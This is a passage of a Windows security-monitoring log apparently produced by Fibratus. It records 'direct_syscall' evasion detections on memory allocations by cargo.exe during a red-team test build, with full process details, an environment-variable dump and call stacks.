15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681ca2d47 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680ef5866 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680dfd77d C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680e6af77 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff68107be14 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff68107a587 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff6810682af C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ff3be3 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ff2e70 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ff7ab4 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ffef5b C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680fcd9d4 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680838ecf C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_libgit2_prerelease|0x7ff6807efe76 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807eb9d6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 905885 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1802702 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92ee5000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681ca2d47 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680ee9ae6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ed05ec C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680f9cf1b C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff6810dc4af C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff6810e6e8a C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681070d91 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff68107a6b9 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff6810682af C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ff3be3 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ff2e70 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ff7ab4 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ffef5b C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680fcd9d4 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680838ecf 